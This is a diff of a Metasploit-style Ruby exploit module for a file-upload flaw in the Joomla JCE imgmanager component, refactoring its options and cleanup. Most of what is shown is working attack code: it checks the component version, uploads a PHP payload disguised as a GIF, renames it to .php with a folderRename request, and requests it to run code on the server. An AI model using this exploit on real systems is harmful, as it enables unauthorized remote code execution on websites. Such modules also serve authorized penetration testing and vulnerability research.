@@ -31,33 +31,35 @@ def initialize(info = {})
31
31
[ 'BID' , '49338' ] ,
32
32
[ 'EDB' , '17734' ] ,
33
33
] ,
34
- 'Privileged' => false ,
35
34
'Payload' =>
36
35
{
37
- 'Keys' => [ 'php' ] ,
38
- 'DisableNops' => true ,
36
+ 'Space' => 4000 , # only to prevent error HTTP 414 (Request-URI Too Long)
37
+ 'DisableNops' => true ,
38
+ 'BadChars' => "#" ,
39
+ 'Keys' => [ 'php' ] ,
39
40
'Compat' =>
40
41
{
41
42
'ConnectionType' => 'find' ,
42
43
} ,
43
- 'Space' => 1024 , # default upload max_size
44
44
} ,
45
45
'Platform' => 'php' ,
46
46
'Arch' => ARCH_PHP ,
47
47
'Targets' => [ [ 'Automatic' , { } ] ] ,
48
+ 'Privileged' => false ,
48
49
'DisclosureDate' => 'Aug 2 2012' ,
49
50
'DefaultTarget' => 0 ) )
50
51
51
52
register_options (
52
53
[
53
- OptString . new ( 'URI ' , [ true , "Joomla directory path" , "/" ] )
54
+ OptString . new ( 'TARGETURI ' , [ true , "Joomla directory path" , "/" ] )
54
55
] , self . class )
55
56
end
56
57
57
58
58
59
def get_version
59
60
# check imgmanager version
60
- @uri_base = normalize_uri ( datastore [ 'URI' ] ) + 'index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager'
61
+ #uri = normalize_uri(target_uri.path.to_s, "images", "stories", "#{@script_name}.php")
62
+ @uri_base = normalize_uri ( target_uri . path . to_s ) + 'index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager'
61
63
uri = @uri_base
62
64
print_status ( "Checking component version to #{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } " )
63
65
res = send_request_cgi (
@@ -94,9 +96,7 @@ def upload_gif
94
96
# Generate some random strings
95
97
@script_name = rand_text_alpha_lower ( 6 )
96
98
boundary = '-' * 27 + rand_text_numeric ( 11 )
97
-
98
- uri = @uri_base
99
- uri << '&method=form'
99
+ uri = normalize_uri ( @uri_base ) + '&method=form'
100
100
101
101
# POST data
102
102
post_data = Rex ::MIME ::Message . new
@@ -132,9 +132,7 @@ def upload_gif
132
132
133
133
def renamed?
134
134
# Rename the file from .gif to .php
135
- # uri = ''
136
- uri = @uri_base
137
- uri << '&version=1576&cid=20'
135
+ uri = normalize_uri ( @uri_base ) #, '&version=1576&cid=20')
138
136
139
137
data = "json={\" fn\" :\" folderRename\" ,\" args\" :[\" /#{ @script_name } .gif\" ,\" #{ @script_name } .php\" ]}"
140
138
@@ -164,8 +162,10 @@ def renamed?
164
162
def call_payload
165
163
directory = 'images/stories/'
166
164
print_status ( "Calling payload: #{ @script_name } .php" )
167
- uri = normalize_uri ( datastore [ 'URI' ] )
168
- uri << directory + @script_name + ".php"
165
+ uri = normalize_uri ( target_uri . path . to_s )
166
+ uri << directory + @script_name + ".php"
167
+ register_files_for_cleanup ( uri )
168
+
169
169
res = send_request_cgi ( {
170
170
'uri' => uri ,
171
171
'method' => 'GET' ,
@@ -183,7 +183,6 @@ def exploit
183
183
if upload_gif == :success
184
184
if renamed?
185
185
call_payload
186
- register_files_for_cleanup ( @script_name )
187
186
end
188
187
end
189
188
0 commit comments